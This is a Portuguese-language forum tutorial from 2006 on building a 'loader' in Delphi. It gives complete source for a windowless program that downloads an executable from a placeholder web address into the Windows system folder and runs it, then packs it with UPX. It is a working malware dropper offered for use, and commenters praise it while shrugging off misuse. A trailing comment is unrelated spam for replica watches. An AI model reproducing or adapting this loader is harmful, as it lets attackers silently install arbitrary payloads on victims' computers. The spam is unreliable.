Visitantes Online: 1
Nenhum membro Online
Membros Registrados: 65,535
Mais novo membro: bnvijrn
|
|
Criando um LOADER em Delphi |
Bom vamos lá!
Playing The Ramones - Do You Remember Rock ´n Roll R - 03:34/192Kbps/44.1Khz
Essa música você encontra aqui no site é o Tributo aos The Ramones :)
-------------------x-------------------
Abra seu Delphi.
Clique em File>Close All
Agora sem nenhum projeto aberto, vá em File>New>Other...
Selecione Console Application e dê Ok

Maximize a janela que apareceu no canto esquerdo embaixo.
Você vai ver isso:

Altere a linha
{$APPTYPE CONSOLE}
Para
{$APPTYPE GUI}
Isso fará que sua aplicação não rode em DOS e sim em Windows.
Agora vá em File>Save All e salve seu projeto em alguma pasta com o nome de Loader.dpr

Agora adicione os seguintes comandos
program Loader;
{$APPTYPE GUI}
uses
Windows, UrlMon;
function Path_(Dir: string): string;
begin
Result := Dir;
if (Dir[Length(Dir)] <> '\') then
Result := Dir + '\';
end;
function PASTA: string;
var
MeuBuffer: Array [0..255] of Char;
retorno: Integer;
begin
retorno := GetSystemDirectory(@MeuBuffer, SizeOf(MeuBuffer));
if (retorno > 128) or (retorno = 0) then
PASTA := ''
else
PASTA := MeuBuffer;
end;
begin
URLDownloadToFile(nil, 'http://seusite.com/programa.exe',
PChar(Path_(PASTA) + 'nome.exe'), 0, nil);
WinExec(PChar(Path_(PASTA) + 'nome.exe'), SW_NORMAL);
end.

Agora vá em Project>Build Loader
E será criado um arquivo chamado Loader.exe na pasta que você salvou o projeto.
Ele tem 15Kbytes.
Agora vamos deixá-lo com 9KB.
Baixe o UPX, caso você não tenha, nesse link aqui:
http://psy.freehostia.com/site/upxinterface.zip
E comprima o Loader.exe

Pronto, seu LOADER está feito.
Caso você deseje adicionar um Ãcone utilize o ResHacker para adicionar o Ãcone porém faça antes de comprimir com o UPX porque depois não dá mais...
Abraços :)
|
|
em September 12 2006 16:57:49
pqp q foda ahuauhauha 9kbytes!! |
em September 12 2006 19:58:29
Valeu... brigadao pelo loader!!! muito r0x!!!
soh nao pode ultilizar pra maldades... mas cada um usa como quer..
a proposito.. nao esquece q no upx tem q coloca o nome do .exe
em %file%
aqui soh funfou assim ;**** |
em November 13 2012 04:13:02
watches like spy digicam look at, breitling emergency mission replica layout watches with crystals, quarta motion watches, car specialised leather-based watches replica rolex , automobile specialised steel watches, adorable current view, Activity silicon bracelet check out cheap fake watches cheap fake watches , quarta motion look at with rubberband for women, trendy watertight quarta movements watches, steel quarta movements observe , digital observe, steel check out, adorable await current and many others. patek philippe complicated replica will be the best modern day samples of watches readily available. China watches can be found for several segments like sports activities view, official and casual watches, trendy watches and technological innovation watches for interaction and investigation glashutte original watches . Good Vogue and tech will be the motto guiding |
|
|
Por favor logue-se no site para postar um comentário.
|
|
|
Não é membro ainda? Clique aqui para registrar-se.
Esqueceu sua senha? Peça uma nova aqui.
|
|